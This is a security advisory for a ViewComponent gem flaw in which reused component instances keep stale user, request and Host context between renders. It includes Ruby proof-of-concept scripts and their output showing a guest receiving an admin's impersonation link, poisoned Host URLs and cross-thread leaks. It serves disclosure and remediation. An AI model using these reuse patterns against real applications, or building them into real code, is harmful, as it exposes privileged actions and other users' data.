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GHSA-9h85-g7w3-rh49 CVE-2026-54497

ViewComponent: Reused Component Instances Retain Stale Render Context

Medium RubyGems
Severity
6.8 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.33%
Chance of exploitation in the next 30 days. Higher than 26.16% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
CWE-488 Exposure of Data Element to Wrong Session
CWE-668 Exposure of Resource to Wrong Sphere
Fix
4.12.0
Upgrade view_component to this version or later

Description

Reused Component Instances Retain Stale Render Context

Summary

ViewComponent::Base instances retain multiple render-scoped objects across calls to render_in. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale helpers, controller, request, view_flow, format/variant details, and slot child context from an earlier render.

This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering.

Severity

The PoC demonstrates cross-user authorization impact in a realistic downstream application pattern. If the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned:

Alternative CVSS: 8.2 Alternative vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
    • render_in
    • controller
    • helpers
    • __vc_request
  • lib/view_component/slot.rb
    • Slot#to_s
  • lib/view_component/slotable.rb
    • slot storage in @__vc_set_slots
  • lib/view_component/collection.rb
    • child component memoization and spacer rendering

Key retained state:

@view_context = view_context
self.__vc_original_view_context ||= view_context
@lookup_context ||= view_context.lookup_context
@view_flow ||= view_context.view_flow
@__vc_requested_details ||= @lookup_context.vc_requested_details
@__vc_controller ||= view_context.controller
@__vc_helpers ||= __vc_original_view_context || controller.view_context
@__vc_request ||= controller.request if controller.respond_to?(:request)

Slot children also inherit the parent original view context:

@__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context

Collections memoize child component instances:

return @components if defined? @components

Root Cause

Component instances are mutable render objects. render_in updates some per-render fields, but many request-scoped values are memoized using ||= or stored for later slot/collection rendering.

There is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render.

Maintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant.

Proof of Concept

The following PoC demonstrates four independent effects:

  • stale authorization gate
  • stale Host/request data in generated absolute URLs
  • stale slot child context
  • cross-thread context mixing

Run from the repository root:

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class ReusePocController < ActionController::Base
  helper_method :current_user, :admin?
  attr_accessor :current_user, :role
  def admin? = role == :admin
end

routes = ActionDispatch::Routing::RouteSet.new
routes.draw { get "/accounts/:id", to: "accounts#show" }
ReusePocController.include routes.url_helpers

class AdminPanelComponent < ViewComponent::Base
  def render? = helpers.admin?

  def call
    href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false)
    "ADMIN user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe
  end
end

class UrlOnlyComponent < ViewComponent::Base
  def call
    href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false)
    "user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe
  end
end

class SlotChildComponent < ViewComponent::Base
  def call = "child_user=#{helpers.current_user};child_path=#{request.path}".html_safe
end

class SlotParentComponent < ViewComponent::Base
  renders_one :child, SlotChildComponent
  def call = "parent_user=#{helpers.current_user};parent_path=#{request.path};".html_safe + child.to_s
end

class RaceComponent < ViewComponent::Base
  def before_render = sleep 0.05
  def call = "#{helpers.current_user}@#{request.path}".html_safe
end

def vc(user:, role:, path:, host: "app.example")
  c = ReusePocController.new
  c.current_user = user
  c.role = role
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host)))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

admin_vc = vc(user: "alice", role: :admin, path: "/admin", host: "admin.example")
guest_vc = vc(user: "bob", role: :guest, path: "/guest", host: "app.example")

panel = AdminPanelComponent.new
puts "auth_admin_first=#{panel.render_in(admin_vc)}"
puts "auth_guest_reused=#{panel.render_in(guest_vc)}"
puts "auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}"

url = UrlOnlyComponent.new
puts "host_attacker_prime=#{url.render_in(vc(user: "attacker", role: :guest, path: "/prime", host: "evil.example"))}"
puts "host_victim_reused=#{url.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"
puts "host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"

parent = SlotParentComponent.new
puts "slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}"
puts "slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}"
puts "slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}"

race = RaceComponent.new
q = Queue.new
t1 = Thread.new { q << [:admin, race.render_in(vc(user: "admin", role: :admin, path: "/admin"))] }
t2 = Thread.new { q << [:guest, race.render_in(vc(user: "guest", role: :guest, path: "/guest"))] }
t1.join
t2.join
results = 2.times.map { q.pop }.to_h
puts "race_admin_thread=#{results[:admin]}"
puts "race_guest_thread=#{results[:guest]}"

Observed output:

auth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth_guest_fresh=""

host_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42

slot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin
slot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest
slot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest

race_admin_thread=admin@/guest
race_guest_thread=admin@/guest

Authorization-Impact PoC

The following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object.

The component uses render? as an authorization-aware visibility gate and emits a representative privileged action link.

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

module SharedComponentRegistry
  def self.admin_toolbar
    @admin_toolbar ||= AdminToolbarComponent.new
  end

  def self.reset!
    remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar)
  end
end

User = Struct.new(:id, :role, keyword_init: true) do
  def admin? = role == :admin
end

class AppController < ActionController::Base
  helper_method :current_user, :admin?
  attr_accessor :current_user

  def admin?
    current_user&.admin?
  end
end

routes = ActionDispatch::Routing::RouteSet.new
routes.draw do
  get "/admin/users/:id/impersonate", to: "admin/users#impersonate", as: :impersonate_admin_user
end
AppController.include routes.url_helpers

class AdminToolbarComponent < ViewComponent::Base
  def render?
    helpers.admin?
  end

  def call
    helpers.link_to(
      "Impersonate user 42",
      helpers.impersonate_admin_user_url(42, host: request.host),
      data: { turbo_method: :post }
    )
  end
end

class DashboardController < AppController
  def render_dashboard_with_shared_component
    render_to_string(inline: '<main><h1>Dashboard</h1><%= render SharedComponentRegistry.admin_toolbar %></main>')
  end

  def render_dashboard_with_fresh_component
    render_to_string(inline: '<main><h1>Dashboard</h1><%= render AdminToolbarComponent.new %></main>')
  end
end

def controller_for(user:, host:, path: "/dashboard")
  c = DashboardController.new
  c.current_user = user
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host)))
  c.set_response!(ActionDispatch::Response.new)
  c
end

SharedComponentRegistry.reset!
admin = User.new(id: 1, role: :admin)
guest = User.new(id: 2, role: :guest)

admin_response = controller_for(user: admin, host: "admin.example").render_dashboard_with_shared_component
guest_reused_response = controller_for(user: guest, host: "app.example").render_dashboard_with_shared_component
guest_fresh_response = controller_for(user: guest, host: "app.example").render_dashboard_with_fresh_component

puts "admin_shared_contains_admin_link=#{admin_response.include?('/admin/users/42/impersonate')}"
puts "guest_reused_contains_admin_link=#{guest_reused_response.include?('/admin/users/42/impersonate')}"
puts "guest_fresh_contains_admin_link=#{guest_fresh_response.include?('/admin/users/42/impersonate')}"
puts "guest_reused_contains_admin_host=#{guest_reused_response.include?('http://admin.example/admin/users/42/impersonate')}"
puts "guest_reused_response=#{guest_reused_response.gsub(/\s+/, ' ').strip}"
puts "guest_fresh_response=#{guest_fresh_response.gsub(/\s+/, ' ').strip.inspect}"

Observed output:

admin_shared_contains_admin_link=true
guest_reused_contains_admin_link=true
guest_fresh_contains_admin_link=false
guest_reused_contains_admin_host=true
guest_reused_response=<main><h1>Dashboard</h1><a data-turbo-method="post" href="http://admin.example/admin/users/42/impersonate">Impersonate user 42</a></main>
guest_fresh_response="<main><h1>Dashboard</h1></main>"

This confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL.

Exploit Scenario

A downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object.

Potential real-world examples:

  • A navigation/sidebar component checks helpers.admin? in render?.
  • A tenant switcher uses request.host or current_user.account.
  • A component emits absolute URLs or signed action links.
  • A table uses slot child components that rely on helper/request state.
  • A global UI registry stores instantiated spacer or child components.

In these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users.

Impact

Confirmed impact classes:

  • stale privileged UI rendering
  • stale user identity through helpers
  • stale Host/request data in generated absolute URLs
  • slot child context inheritance
  • cross-thread context corruption
  • stale format/variant template selection
  • stale view_flow / content_for writes
  • collection and spacer component context leakage

This can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data.

Preconditions

  • The same component, collection, slot, or spacer component instance is reused across render contexts.
  • The component reads request-scoped or user-scoped APIs such as helpers, controller, request, URL helpers, render?, before_render, slots, variants, formats, or content_for.
  • Higher impact when the shared object crosses users, tenants, roles, or threads.

Normal per-request usage such as render(MyComponent.new(...)) is not affected.

Chaining Potential

This issue can chain with:

  • UI-only authorization checks
  • signed admin links embedded in components
  • Host header poisoning
  • multi-tenant routing based on host/subdomain
  • shared component registries
  • fragment/component caching patterns that cache objects rather than rendered strings
  • concurrent Rails servers such as Puma

The framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions.

Remediation

The safest fix is to make component and collection instances one-shot renderables.

Recommended options:

  1. Add a runtime guard in render_in that raises or warns when the same component instance is rendered again with a different view_context.
  2. Reset render-scoped ivars at the beginning of every render, including:
    • __vc_original_view_context
    • @lookup_context
    • @view_flow
    • @__vc_requested_details
    • @__vc_controller
    • @__vc_helpers
    • @__vc_request
  3. Rebuild ViewComponent::Collection child component instances per render or document/enforce collections as one-shot.
  4. Avoid accepting a reusable instantiated spacer_component, or reset/clone it before rendering.
  5. Add thread-safety tests for concurrent rendering of a shared instance.

Affected versions

RubyGems

PackageVulnerableFixed in
view_component
>= 4.0.0, < 4.12.0
4.12.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

view_component RubyGems → 4.12.0

bundler
bundle update view_component # Gemfile: gem "view_component", ">= 4.12.0"

Severity breakdown

CVSS 3.1 6.8

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

How to prevent it
  • Architecture and Design: In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
  • Architecture and Design: Use thread-safe capabilities such as the data access abstraction in Spring.
  • Architecture and Design: Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
  • Implementation: When using multithreading and operating on shared variables, only use thread-safe functions.
  • Implementation: Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
  • Implementation: Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
  • Implementation: Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
  • Implementation: Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
  • Implementation: Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

CWE-488: Exposure of Data Element to Wrong Session

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

How to prevent it
  • Architecture and Design: Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.
  • Testing: Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).
  • Architecture and Design: In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

CWE-668: Exposure of Resource to Wrong Sphere

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-97jw-64cj-jc58
ViewComponent: around_render HTML-Safety Bypass
High Also affects view_component
GHSA-hg3h-g7xc-f7vp
view_component: System Test Entry Point Path Check Allows Sibling Directory Escape
High Also affects view_component
GHSA-7f3r-gwc9-2995
view_component: Preview Route Can Dispatch Inherited Helper Methods
Medium Also affects view_component
GHSA-wf2x-8w6j-qw37
view_component Cross-site Scripting vulnerability
Medium Also affects view_component
GHSA-cm9w-c4rj-r2cf
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in view_component
High Also affects view_component
GHSA-5wjr-9356-4wc8
Tokio: Race condition in `tokio::time::Interval`
Medium Same weakness, CWE-362
GHSA-44jh-23m7-hpcf
@better-auth/drizzle-adapter: Concurrent requests can exceed rate limits on PostgreSQL
Medium Same weakness, CWE-362
GHSA-494h-xx7x-5frh
Microsoft Security Advisory CVE-2026-70183 - ASP.NET Core Security Feature Bypass Vulnerability
High Same weakness, CWE-362
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